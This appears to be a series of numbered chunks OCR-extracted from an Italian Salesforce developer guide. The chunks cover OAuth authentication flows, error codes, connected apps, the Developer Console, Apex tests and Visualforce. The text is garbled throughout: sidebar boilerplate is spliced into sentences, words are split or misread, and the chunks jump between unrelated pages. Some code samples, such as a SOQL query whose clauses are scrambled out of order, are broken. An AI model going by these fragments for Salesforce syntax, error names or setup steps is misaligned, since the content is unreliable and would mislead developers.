490. sforce com services data v version sobjects search http nal salesforce com services data v version search query http nal salesforce com services data v version query profile http nal salesforce com 005x000000152b9 active true user type STANDARD language en US Locale Ten US utcoffset 28800000 last modified date 2010 06 28T20 54 09 000 0000 Ottimizzazione di Salesforce con il codice Quando viene eseguita una richiesta non valida Salesforce pu inviare le seguenti risposte Codice errore 403 forbidden HTTPS_Required HTTP 403 forbidden Missing_OAuth_Token 403 forbidden Bad_OAuth_Token 403 forbidden Wrong_0rg 404 not found Bad_ld 404 not found Inactive 404 not found No_Access 404 not found No_Site_Endpoint 404 not found Internal Error 406 not acceptable Invalid_Version Versione non valida 406 not acceptable Invalid_Callback Richiamata non valida VEDERE ANCHE Utilizzo del token di accesso Endpoint UserlInfo L endpoint UserInfo una API RESTful che si pu utilizzare per chiedere con un token di accesso valido informazioni sull utente associato al token di accesso nel formato OpenID Connect standard Salesforce restituisce informazioni di personalizzazione di base sull utente oltre a importanti endpoint con cui il client pu comunicare quali fotografie per l ute
491. si personalizzati In Salesforce molte funzionalit richiedono controlli dell accesso in cui viene specificato quali sono gli utenti che possono accedere a determinate funzioni Le impostazioni degli insiemi di autorizzazioni e dei profili includono impostazioni incorporate dell accesso per numerose entit tra cui oggetti campi schede e pagine Visualforce Tuttavia gli insiemi di autorizzazioni e i profili non inc l accesso per alcune applicazioni e processi personalizzati Ad esempio per un applicazion udono e di gestione dei permessi tutti gli utenti dovrebbero essere in grado di inoltrare le richieste di permesso ma solo un numero limitato di utenti deve essere in grado di approvarle Le autorizzazioni personalizzate possono essere utilizzate per questi tipi di controlli Consentono di definire le funzioni di verifica dell accesso da assegnare agli utenti tramite gli insiemi di autorizzazioni o i profili analogamente al modo in cui si assegnano le autorizzazioni utente e le altre impostazioni per l accesso Ad esempio possibile definire le verifiche dell accesso in Apex per creare un pulsante su una pagina Visualforce che sia disponibile solo se un utente dispone delle autorizzazioni personalizzate appropriate possibile eseguire query sulle autorizzazioni personalizzate nei modi seguenti e Per determinare quali utenti dispongono di accesso a un autorizzazione personalizzata specifica utilizzare una query
492. si al servizio di notifica push Apple Impossibile connettersi al proxy Salesforce Se il problema persiste rivolgersi all assistenza Salesforce Richiesta bloccata dal proxy Salesforce Se il problema persiste rivolgersi all assistenza Salesforce Il servizio di notifica push Apple ha restituito un errore sconosciuto Il badge deve essere un numero Il payload deve essere in un formato JSON valido necessario inserire un valore per almeno uno dei seguenti campi Avviso Badge Suono o Payload personalizzato necessario indicare il destinatario Errore di autenticazione Google Cloud Messaging Errore interno nel server di Google Cloud Messaging oppure il server temporaneamente non disponibile L ID registrazione nel campo Destinatario formattato in modo errato Il payload supera le dimensioni massime consentite Il campo Destinatario contiene un ID registrazione non valido per la chiave del server API dell applicazione connessa necessario indicare il destinatario Il campo Destinatario contiene un ID registrazione non valido Il server GCM ha restituito un errore imprevisto Rivolgersi al team di assistenza SFDC Guida dell utente Integrazione di app con Salesforce 191 Soluzione suggerita Il token stato immesso in modo non corretto o danneggiato Immettere nuovamente il token Controllare che sia in uso il certificato corretto ad esempio Sandbox e non produzione Riprovare in seguito
493. sione ecc Per favorire lo sviluppo di codice sicuro e privo di errori Apex supporta la creazione e l esecuzione di test di unit test di unit sono metodi delle classi che verificano se una porzione specifica di codice funziona correttamente metodi di test di unit non accettano argomenti non confermano dati nel database non inviano messaggi email e sono contrassegnati dalla parola chiave testMethod o dall annotazione isTest nella definizione del metodo Inoltre i metodi di test devono essere definiti nelle classi di test cio nelle classi annotate con isTest e Inspect Logs for Performance Issues Controlla registro per problemi di prestazioni il Log Inspector Controllo registri un visualizzatore delle esecuzioni sensibile al contesto che mostra la sorgente di un operazione la causa che l ha attivata e ci che avvenuto in seguito Utilizzare questo strumento per analizzare i registri debug contenenti gli eventi del database l elaborazione Apex il flusso di lavoro e la logica di convalida Aprire un registro debug e visualizzare le prestazioni aggregate di un operazione nell albero delle prestazioni Il riquadro Executed Units Unit eseguite suddivide le richieste in base all ora e al tipo e classifica le tempistiche in base ai metodi alle query ai flussi di lavoro alle chiamate ai DML alle convalide e alle pagine consentendo di identificare chiaramente gli eventuali problemi di prestazione Utilizzare il riquadro Timeli
494. sistema di terzi oppure un autorizzazione OAuth per un provider di autenticazione esistente nella propria organizzazione La Procedura guidata provisioning utente chiede questa credenziale denominata Un flusso creato con Flow Designer flussi gestiscono le richieste di provisioning al sistema di terze parti Salesforce fornisce diversi pacchetti contenenti flussi preconfigurati per semplificare il processo di impostazione del provisioning utenti presto disponibile Associare uno di questi flussi all applicazione connessa utilizzando la Procedura guidata provisioning utente possibile anche creare il proprio flusso Per ulteriori informazioni vedere Creazione del proprio flusso di provisioning utente Se il provisioning utente stato abilitato procedere come segue per iniziare la Procedura guidata provisioning utente per un applicazione connessa esistente 1 Dalmposta immettere Applicazioni connesse nellacasella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse Fare clic sul nome dell applicazione connessa Nella pagina dei dettagli dell applicazione connessa fare clic su Modifica Nella sezione Impostazioni provisioning utente selezionare Abilita provisioning utente Si cp iN Fare clic su Salva Dopo che si fatto clic su Salva Salesforce visualizza nuovamente la pagina dei dettagli dell applicazione connessa Per visualizzare la pagina dei dettagli dell applicazione connessa da Imposta
495. sitivi mobili Android Per visualizzare le app Area di disegno nel menu di navigazione di Android accedere all app browser mobile Salesforce1 e OpenCTi L applicazione area di disegno viene visualizzata nello strumento di controllo delle chiamate Se questa opzione selezionata necessario specificare l applicazione area di disegno nel file di definizione del call center per visualizzarla e Publisher L applicazione area di disegno viene visualizzata nel publisher Se selezionata questa opzione necessario creare anche un azione rapida area di disegno personalizzata e aggiungerla al layout globale o al layout di un oggetto e Pagina Visualforce L applicazione area di disegno pu essere visualizzata in una pagina Visualforce Se si aggiunge un componente lt apex canvasApp gt per esporre l applicazione area di disegno in una pagina Visualforce assicurarsi di selezionare questa posizione per l applicazione area di disegno in caso contrario si ricever un messaggio di errore 6 Selezionare Crea azioni automaticamente per creare un azione globale per l applicazione area di disegno Per creare un azione globale per l applicazione area di disegno necessario selezionare Publisher in Posizione incaso contrario non verranno create azioni globali inoltre possibile creare l azione manualmente in un secondo tempo 7 Sesi implementata la propria classe Apex Canvas CanvasLifecycleHandler Apex indicare il nome della classein Class
496. sole sviluppatore Esecuzione di test nella Console sviluppatore Utilizzare la Console sviluppatore per impostare serie di test eseguire i test e verificare la copertura di Apex Code Il menu Test della Console sviluppatore consente di gestire le serie di test Include le seguenti opzioni e Always Run Asynchronously Esegui sempre in modo asincrono a meno che non sia abilitata questa opzione le serie di test che includono i test di una sola classe vengono eseguite in modo sincrono Le serie di test che includono pi di una classe vengono eseguite in modo asincrono indipendentemente dal fatto che sia abilitata questa opzione e New Run Nuova serie Crea una nuova serie di test Per informazioni vedere Creazione di una serie di test e Rerun Esegui di nuovo esegue il test selezionato nella scheda Tests Test Guida dell utente Esecuzione di test nella Console sviluppatore 301 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOLON TAAA ON UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore e Rerun Failed Tests Esegui di nuovo test non riusciti scegliere questa opzione per eseguire nuovamente soltant
497. sonalizzate il campo del prefisso spazio dei nomi non viene visualizzato per i modelli di marca le cartelle e i tipi di rapporto personalizzati Campi di unione per le pagine Visualforce Un campo di unione un campo che pu essere posizionato in un modello di email un modello di stampa unione un link personalizzato o una formula per incorporare valori di un record Le pagine Visualforce utilizzano lo stesso linguaggio di espressione delle formule ovvero qualsiasi cosa all interno di viene valutato come espressione in grado di accedere ai valori dei record nel contesto in quel momento Ad esempio possibile visualizzare il nome dell utente corrente aggiungendo a una pagina il campo di unione User FirstName lt apex page gt Hello S User FirstName s lt apex page gt ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per creare e modificare pagine Visualforce e Personalizza applicazione D7 OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Ottimizzazione di Salesforce
498. specifica dopo che hanno effettuato l autenticazione Se non si immette un valore per URL iniziale l utente viene indirizzato alla pagina iniziale predefinita dell applicazione al termine dell autenticazione Se l applicazione connessa che si sta creando un app area di disegno non necessario immettere un valore in questo campo Il campo URL app Area di disegno contiene l URL che viene chiamato per l applicazione connessa Se l applicazione connessa utilizzer un provider di servizi SAML selezionare Abilita SAMI Immettere i valori di ID entit URL ACS Tipo di oggetto Formato ID nome e Emittente disponibili presso il provider di servizi Selezionare Verifica firme per le richieste ee il provider di servizi ha messo a disposizione un certificato di protezione Cercare il certificato nel sistema Questa operazione necessaria solo se si intende avviare l accesso a Salesforce dal fornitore di servizi e se il fornitore di servizi firma le richieste SAML O Importante Se si carica un certificato tutte le richieste SAML devono essere firmate Se non viene caricato un certificato vengono accettate tutte le richieste SAML Se lo si desidera selezionare Crittografa risposta SAML per caricare un certificato e selezionare un metodo di crittografia per crittografare l asserzione valori validi per l algoritmo di crittografia sono AES 128 chiave a 128 bit AES 256 chiave a 256 bit e Triple DES Triple Data Encryption Algorithm
499. sponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni Salesforce Classic mobile non disponibile nella versione Database com Edition ANOLON TAAA ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse e Fare clic su Revoca per revocare l accesso all applicazione Dopo la revoca l applicazione non pu pi utilizzare quel particolare token di autorizzazione per accedere ai dati Salesforce dell utente O Importante necessario revocare tutti i token di accesso di una particolare applicazione per impedirle di accedere ai dati Salesforce dell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 188 Se si desidera utilizzare un nuovo dispositivo mobile con Salesforce Classic mobile scaricare l applicazione sul nuovo dispositivo ed effettuare l accesso Non necessario revocare il token sul vecchio dispositivo Salesforce ne crea automaticamente uno nuovo VEDERE ANCHE Panoramica sulleapplicazioni connesse Creazione di un applicazione connessa Modifica di un applicazione connessa Esecuzione di test delle notifiche push Per eseguire un test rapido dell impostazione delle proprie notifiche push utilizzare la pagina Invia notifica di prova La pagina Invia notifica di prova consente di risolvere i problemi relativi alle notifiche push di andata e ritorno in un meccanismo si
500. sposta all endpoint UserInfo Guida dell utente Integrazione di app con Salesforce 240 Descrizione Vedere Utilizzo del token di accesso a pagina 233 Questo parametro facoltativo Specificare il formato dell output restituito valori validi sono e json e xml Invece di utilizzare il parametro format il client pu anche specificare il formato restituito nell intestazione di un accettazione richiesta in uno dei seguenti modi Accept application json e Accept application xml e Accept application x www form urlencoded Tenere presente quanto segue e Le intestazioni di accettazione contenenti caratteri jolly sono consentite viene accettato e restituisce JSON Vengono accettati anche gli elenchi di valori che vengono letti da sinistra a destra Ad esempio application xml application json application html restituisce XML e Ilparametro format ha la precedenza sull intestazione dell accettazione della richiesta Questo parametro facoltativo Specificare un numero di versione API SOAP oppure la stringa letterale latest Se questo valore non viene specificato l URL API restituito conterr il valore letterale version invece del numero di versione in modo che il client possa effettuare la sostituzione della stringa Se il valore viene specificato come latest viene utilizzata la versione API pi recente Questo parametro facoltativo e viene accettato solo in un intestazione non come parametro
501. ssa in un formato non supportato o un errore interno del server Tempo di Il numero di millisecondi necessari per l elaborazione del batch Non incluso il tempo di attesa del batch in coda elaborazione per l elaborazione totale ms visualizza Fare clic sul link per il batch per visualizzare la richiesta richiesta visualizza Fare clic sul link per il batch per visualizzare i risultati risultato VEDERE ANCHE Monitoraggio di processi di caricamento dati in blocco Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 165 Notifiche di utilizzo API Notifiche di utilizzo API Quando si crea una notifica di utilizzo richieste si indica un amministratore a cui inviare notifica tramite email ogni volta che l organizzazione supera il limite impostato per il numero di richieste API effettuate in un intervallo di ore specificato Per visualizzare le notifiche di utilizzo API da Imposta immettere Notifiche utilizzo API nella casella Ricerca rapida quindi selezionare Notifiche utilizzo API Dall elenco delle notifiche possibile e Fare clic su Modifica o su Canc per modificare o eliminare una notifica esistente e Visualizzare il nome dell utente che ricever la notifica V e Visualizzare l intervallo di notifica che definisce la frequenza con cui vengono inviate le notifiche Ad esempio se l intervallo di notifica di quattro ore la notifica viene inviata solo se l ultima no
502. ssario Non verr emesso alcun token di aggiornamento Di seguito sono illustrate le fasi del flusso di autenticazione nome utente password Successivamente vengono forniti ulteriori dettagli sulle singole fasi 1 Il consumatore utilizza il nome utente e la password dell di accesso ID sessione utente finale per richiedere un token 2 Dopo che la richiesta stata verificata Salesforce invia una risposta al client Quando dispone di un token di accesso il consumatore pu uti ai dati di Salesforce per conto dell utente finale Richiesta di un token di accesso izzare il token di accesso per accedere Il consumatore pu utilizzare il nome utente e la password dell utente finale per richiedere un token di accesso che pu essere utilizzato come ID sessione Questo flusso non supporta l inclusione degli ambiti nella richiesta e il token di accesso restituito da questo flusso non ottiene ambiti ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Il consumatore deve effettuare una richiesta POST out of band all endpoint del token con i seguenti parametri e grant type ilvalore deve essere password per questo flusso e client id chiave consumatore dalla definizione dell applicazione connessa e client secret segreto consuma
503. ssibile creare un applicazione connessa senza specificare alcuna autorizzazione area di disegno o impostazione mobile Questo tipo di applicazione connessa si comporta come un segnalibro all URL specificato che viene visualizzato nel Programma di avvio applicazione dell utente e nel menu a discesa dell applicazione sufficiente inserire informazioni di base e fornireun URL iniziale nelle Impostazioni app Web Se la destinazione richiede l autenticazione il servizio che ospita l URL di destinazione deve richiedere agli utenti di fornire le credenziali di accesso quando navigano verso di esso Al termine dell immissione delle informazioni fare clic su Salva per salvare la nuova applicazione A questo punto possibile pubblicare l applicazione apportarvi ulteriori modifiche o eliminarla Se si utilizza OAuth il salvataggio dell applicazione fornisce due nuovi valori che l applicazione utilizza per comunicare con Salesforce e Chiave consumatore Valore utilizzato dal consumatore per identificarsi in Salesforce Viene definito client _id in OAuth 20 e Segreto consumatore Segreto utilizzato dal consumatore per stabilire la propriet della chiave consumatore Viene definito client secret in OAuth 2 0 O Importante Durante l aggiornamento dei campi per un applicazione connessa tenere presente che le modifiche ad alcuni campi si applicano immediatamente anche a tutte le versioni installate dell applicazione connessa Si tratta di campi indipen
504. ssiva creazione di un record account non di prova il valore del suo campo a numerazione automatica sar N 0056 anzich N 0051 da qui l interruzione nella sequenza Se si abilita questa opzione prima di eseguire un test Apex che crea dati di prova la sequenza di numerazione automatica viene mantenuta e il record non di prova avr un valore di numerazione automatica contiguo di N 0051 Tenere presente che le interruzioni nella sequenza di numerazione automatica possono verificarsi anche in altre situazioni ad esempio quando non possibile eseguire i trigger che tentano di inserire nuovi record e i record vengono ritirati In questo caso le interruzioni non possono essere completamente evitate perch nella stessa transazione alcuni record vengono inseriti correttamente mentre altri vengono ritirati VEDERE ANCHE Apertura della Console sviluppatore Risultati dei test Apex Dettagli dei risultati dei test Apex Ottimizzazione di Salesforce con il codice Risultati dei test Apex Da Imposta immettere Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex e fare clic su Visualizza cronologia test per visualizzare tutti i risultati dei test eseguiti da qualsiasi utente all interno della propria organizzazione risultati dei test vengono conservati per 30 giorni in seguito al completamento dell operazione a meno che non vengano cancellati Per visualizzare un elenco filtrato di elementi selezionare un elenco predeter
505. sso i campi Conteggio utilizzi e Ultimo utilizzo vengono aggiornati e Fare clic su Revoca per revocare l accesso all applicazione Dopo la revoca l applicazione non pu pi utilizzare quel particolare token di autorizzazione per accedere ai dati Salesforce dell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 246 Importante necessario revocare tutti i token di accesso di una particolare applicazione per impedirle di accedere ai dati Salesforce dell utente VEDERE ANCHE Richiesta di accesso da parte di un applicazione approvata Richiesta di accesso da parte di un applicazione negata Richiesta di accesso da parte di un applicazione approvata L applicazione esterna che si sta utilizzando richiede l accesso ai dati Salesforce dell utente e la richiesta stata approvata Chiudere la finestra del browser e ritornare all applicazione che si stava utilizzando L accesso a un applicazione di accesso remoto si pu revocare in seguito accedendo alle proprie informazioni personali 1 Dalle impostazioni personali immettere Dettagli utente avanzati nella casella Ricerca veloce quindi selezionare Dettagli utente avanzati Se non si ottiene alcun risultato immettere Informazioni personali nella casella Ricerca veloce quindi selezionare Informazioni personali 2 Nella sezione Applicazioni connesse OAuth possibile Visualizzare le informazioni su ogni applicazi
506. sso ai campi di metadati personalizzati L accesso di sola lettura ai campi dei tipi e record di metadati personalizzati disponibile tramite SOQL Ai campi personalizzati sui tipi di metadati personalizzati in SOQL si fa riferimento come nell API dei metadati Ad esempio la seguente istruzione SOQL recupera tutti i valori Field__c e Guida dell utente Integrazione di app con Salesforce 253 Picklist__c diqualsiasi PicklistUsage__mdt correlato a qualsiasi oggetto personalizzato denominato InterplanetaryGreeting__c FROM Pic WHERE SELECT Field __c SObjectTyp Picklist_c klistUsage mdt 3 InterplanetaryGr ting c ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition Le organizzazioni Professional Edition possono accedere solo ai campi di metadati personalizzati da tipi di metadati personalizzati installati Le informazioni comuni a tutti i metadati personalizzati sono rappresentate sotto forma di campi standard Per ulteriori informazioni vedere Tipo di metadati personalizzato__mdt nel Riferimento oggetti per Salesforce e Force com La seguente istruzione Apex nello spazio dei nomi picklist1234 consente di recuperare l etichetta e lo spazio dei nomi per i metadati personalizzati rappresentati nell API dei metadati bas
507. st di unit 297 300 303 token revoca 231 Transazioni riproduzione 5 270 Trigger definizione 51 gestione 57 pagina dei dettagli 61 registri debug 294 U URL identit 234 239 242 URL iniziale in applicazione connessa 182 URLFOR funzione 80 Uso del codice 14 utenti provisioning 192 194 196 Utilizzo API dettagli 166 notifiche 165 166 V Valori variabile globale azione 41 Variabili globali Resource 80 descrizione 20 valori validi SAction 41 Verifica delle modifiche nell organizzazione 295 Visual Workflow impostazione del comportamento finale 85 Visualforce abilitazione chat 86 codice sorgente 16 componenti personalizzati 77 creazione delle pagine 68 creazione delle schede 73 dettagli delle pagine 71 disabilitazione chat 86 editor 15 16 esecuzione del debug 5 270 gestione delle pagine 72 impostazioni del browser 76 impostazioni di versione 75 incorporare i flussi 84 Indice analitico Visualforce continua insiemi di autorizzazioni 99 Lightning Experience 68 modalit sviluppo 70 panoramica 67 profili 99 protezione 76 97 98 risorse statiche 80 Stato visualizzazione 276 Strumenti 276 variabili globali 20 Visualizzatore anteprima app Area di disegno panoramica 136 visualizzazione Log Inspector Controllo registri sezioni 264 Visualizzazione Log Inspector Controllo registri albero delle prestazioni 265 back trace 265 266 informazioni di profiling 267 registro esecuzioni 266 sezio
508. stazioni del browser in modo da consentire i cookie di terze parti e Aggiungere il server appropriato all elenco delle eccezioni dei cookie del proprio browser Ottimizzazione di Salesforce con il codice Componenti Visualforce Definizione di componente personalizzato Salesforce mette a disposizione una libreria di componenti standard predefiniti quali lt apex relatedList gt e lt apex dataTable gt che possono essere utilizzati per sviluppare le pagine Visualforce Inoltre possibile creare i propri componenti personalizzati per espandere questa libreria Un componente personalizzato contiene un modello di progettazione comune che pu essere utilizzato in una o pi pagine Visualforce composto da e Un insieme di markup Visualforce demarcato dal tag lt apex component gt e Un controller componente facoltativo scritto in Apex che consente al componente di eseguire ulteriore logica quale l ordinamento di elementi in un elenco o il calcolo di valori Ad esempio si supponga di volere creare un album di fotografie utilizzando le pagine Visualforce Ogni fotografia nell album ha i bordi di un determinato colore e una didascalia in formato di testo visualizzata sotto la fotografia Invece di ripetere il markup Visualforce richiesto per la visualizzazione di ogni fotografia dell album possibile definire un componente personalizzato denominato Guida dell utente Componenti Apex Visualforce e Lightning 77 ID PA 0 N D
509. stesso modo Il flusso di asserzioni SAML pu essere utilizzato solo all interno di un unica organizzazione Non necessario creare un applicazione connessa per utilizzare questo flusso di asserzioni Nome utente e password OAuth 2 0 il flusso di autenticazione nome utente password pu essere utilizzato per l autenticazione quando il consumatore dispone gia delle credenziali dell utente Avvertenza Questo flusso di autenticazione OAuth comporta la trasmissione delle credenziali dell utente in entrambe le direzioni Utilizzare questo flusso solo quando necessario Non verr emesso alcun token di aggiornamento Guida dell utente Integrazione di app con Salesforce 201 In tutti i flussi di autenticazione se a un attualmente connesso l utente corren O Nota Gli utenti possono autori utente viene chiesto di autorizzare l accesso e questi fa clic sul link per in dicare che non l utente te viene disconnesso e il flusso di autenticazione ricomincia l autenticazione dell utente zzare un applicazione ad accedere a Salesforce pi di una volta ad esempio sia per un computer portatile che per un computer desktop Il limite predefinito di cinque autorizzazioni per applicazione per utente Se un utente tenta di concedere l accesso a un applicazione pi volte di quelle consentite dal limite dell organizzazione il token di accesso utilizzato meno di recente per quell applicazione viene revocato Le applicazioni pi recenti che
510. stile scheda personalizzato e l organizzazione ha accesso alla scheda Documenti fare clic su Crea uno stile personalizzato nella finestra di dialogo Selettore stile scheda Per creare lo stile scheda personalizzato a Fare clic sull icona di ricerca Colore per visualizzare la finestra di dialogo di selezione dei colori quindi fare clic su un colore per selezionarlo D OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOILON TZA VA ON UTENTE Per creare schede Visualforce e Personalizza applicazione b Fare clic su Inserisci immagine scegliere la cartella dei documenti quindi selezionare l immagine che si desidera utilizzare In alternativa fare clic su Cerca in documenti immettere un termine per la ricerca e fare clic su Vai per trovare il nome file di un documento contenente il termine della ricerca O Nota In questa finestra di dialogo sono elencati solo i file che si trovano nelle cartelle di documenti che sono di dimensioni inferiori a 20 KB e per cui sia stata selezionata la casella di controllo Disponibile esternamente nelle impostazioni delle propriet del documento Se il documento utilizzato per l icona viene in seguito eliminato Salesforce sostituisce l icona con un icona generica multicolore O
511. su Salva Nella casella di testo Corpo immettere il markup Visualforce per la definizione del componente personalizzato Ogni componente pu contenere fino a 1 MB di testo corrispondente a circa 1 milione di caratteri Fare clic su Impostazioni versione per specificare la versione di Visualforce e l API utilizzata con questo componente possibile specificare anche le versioni di tutti i pacchetti gestiti installati nella propria organizzazione Guida dell utente Componenti Apex Visualforce e Lightning 78 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per creare componenti personalizzati e Personalizza applicazione 8 Fare clic su Salva per salvare le modifiche e visualizzare la pagina dei dettagli del componente personalizzato oppure fare clic su Salvataggio rapido per salvare le modifiche e continuare a modificare il componente Per poter salvare il componente necessario che il markup Visualforce sia valido O Nota anche possibile creare un componente personalizzato in modalit di sviluppo Visualforce aggiungendo al markup della pagina Visualforce un riferimento a un componente personalizzato che non esiste ancora Dopo il salvataggio del markup viene visualizzato un
512. sualforce Inoltre per includere del codice Apex in una pagina gli utenti devono disporre dell autorizzazione Apex autore o dell accesso alla classe Apex Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 98 Nota Le organizzazioni con siti Force com o Portali Clienti possono abilitare le pagine Visualforce assegnandole ai profili utente o abilitandole per tutto il sito VEDERE ANCHE Suggerimenti di protezione per lo sviluppo di Apex e Visualforce http Awww salesforce com us developer docs pages index htm Impostazione della protezione delle pagine Visualforce dalla definizione di una pagina Impostazione della protezione delle pagine Visualforce dagli insiemi di autorizzazioni Impostazione della protezione delle pagine Visualforce dai profili Impostazione della protezione delle pagine Visualforce dalla definizione di una pagina 1 Dalmposta immettere Pagine Visualforce nellacasella Ricerca veloce quindi EDIZIONI selezionare Pagine Visualforce Fare clic su Protezione accanto al nome della pagina che si desidera limitare Disponibile nelle versioni Selezionare i profili da abilitare dall elenco Profili disponibili e fare clic su Aggiungi 29 20 Classic e Lightning Experience Selezionare i profili da disabilitare dall elenco Profili abilitati e fare clic su Rimuovi Disponibile nelle versioni Fare clic su Salva Contact Manager Edition Group Edition Professional Edition
513. sualizzate solo le operazioni del trigger Se si fa clic su CODE _UNIT_ STARTED e This Frame Questo frame vengono visualizzati solo gli elementi del processo presenti fra CODE UNIT STARTED eil relativo CODE UNIT ENDED T e Executable Eseguibile visualizza solo gli elementi eseguibili presenti nel registro debug Questo criterio nasconde le informazioni relative ai limiti cumulativi quali il numero di query SOQL effettuate il numero di righe DML e cos via Q Suggerimento Lasciare la voce Executable Eseguibile selezionata Deselezionarla solo quando si cerca di ottimizzare il processo ed necessario visualizzare informazioni specifiche sui limiti e Debug Only Solo debug visualizza solo le istruzioni di debug aggiunte al codice e Filter Filtro visualizza gli elementi corrispondenti al testo digitato nel campo Ad esempio se si seleziona Filter Filtro e si digita DML vengono visualizzate tutte le righe del registro esecuzioni che contengono la stringa DML nell evento o nei dettagli II filtro fa distinzione tra maiuscole e minuscole Il riquadro Execution Log Registro esecuzioni contiene queste informazioni Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 267 Colonna Descrizione Timestamp Indicazione L ora di sistema quando iniziato il processo secondo l ora dell utente locale Il formato HH MM SS MSS
514. t Il menu Workspace Area di lavoro include tutti i link necessari e Switch Workspace Cambia area di lavoro consente di eseguire una selezione dalle aree di lavoro salvate Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 8 e New Workspace Nuova area di lavoro consente di creare una nuova area di lavoro Immettere un nome per l area di lavoro e fare clic su OK Aprire le risorse che si desidera avere a disposizione nell area di lavoro L area di lavoro verr salvata quando si passa a un area di lavoro diversa o quando si chiude la Console sviluppatore e Rename Current Workspace Rinomina area di lavoro corrente sovrascrive l area di lavoro corrente con il nome immesso e Workspace Manager Gestione area di lavoro apre una finestra popup che consente di sfogliare aprire creare ed eliminare le aree di lavoro Nell area di lavoro della Console sviluppatore possibile aprire i seguenti tipi di risorse e registri vengono aperti nel Log Inspector Controllo registri e checkpoint vengono aperti nel Checkpoint Inspector Controllo checkpoint e Tutte le classi e i trigger Apex e le pagine e i componenti Visualforce vengono aperti nel Source Code Editor Editor codice sorgente e metadati dell organizzazione e le altre risorse non di codice vengono aperti nell Object Inspector Controllo oggetti e risultati delle query elencati nella scheda Query Editor Editor di query vengono aperti
515. tImage width 50 height 50 gt Per fare riferimento a un file in un archivio come un file zip o jar utilizzare la funzione URLFOR Specificare il nome della risorsa statica indicato quando stato caricato l archivio con il primo parametro nonch il percorso del file desiderato all interno dell archivio con il secondo Ad esempio lt apex image url URLFOR Resource TestZip images Bluehills jpg width 50 height 50 gt Suggerimenti Questa variabile globale disponibile solo per le pagine Visualforce SControl O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Descrizione Un tipo di campo di unione globale da utilizzare quando si fa riferimento per nome a un Custom S Control esistente Utilizzare i campi di unione nelle funzioni LINKTO INCLUDE e URLFOR per fare riferimento a uno dei Custom S Control Utilizzo 1 Selezionare il tipo di campo SControl 2 Selezionare un S Control in cui inserire un campo di unione che rappresenti quell S Control ad esempio Scontrol Header Snippet Esempio di S Control Il seguente S Control fa riferimento allo snippet nel campodiunione Scontrol Header Snippet lt html gt lt body gt INCLUDE SControl Header Snippet title My Title theme modern lt body gt lt
516. tPartner Packages AccountShare ActivityHistory AdditionalNumber Si Open Filter Click here to filter the repository Per posizionarsi su un elemento nella finestra Open Apri 1 Nella colonna Setup Entity Type Imposta tipo di entit fare clic sul tipo di elemento che si desidera trovare 2 Nella colonna Entities Entit scorrere e individuare l elemento che si desidera analizzare Per filtrare gli elementi visualizzati fare clic sulla casella di immissione testo Filter Filtro e immettere una stringa di testo per visualizzare solo gli elementi che corrispondono ai criteri del filtro La ricerca fa distinzione tra maiuscole e minuscole 3 Per visualizzare gli elementi correlati nella colonna Related Correlati fare clic sull elemento una volta Ad esempio fare clic su un oggetto per visualizzare le classi Apex che lo utilizzano 4 Peraprire un elemento in una nuova scheda farvi doppio clic sopra o selezionarlo e fare clic su Open Apri file di codice si aprono nel Source Code Editor Editor codice sorgente mentre gli oggetti di dati si aprono nella visualizzazione Object Inspector Controllo oggetti possibile sfogliare e aprire i contenuti dei pacchetti della propria organizzazione nella finestra File gt Open File Apri possibile visualizzare i contenuti completi dei pacchetti e aprire i file di codice e gli oggetti personalizzati contenuti in un pacchetto mentre altri elementi del pacchetto qua
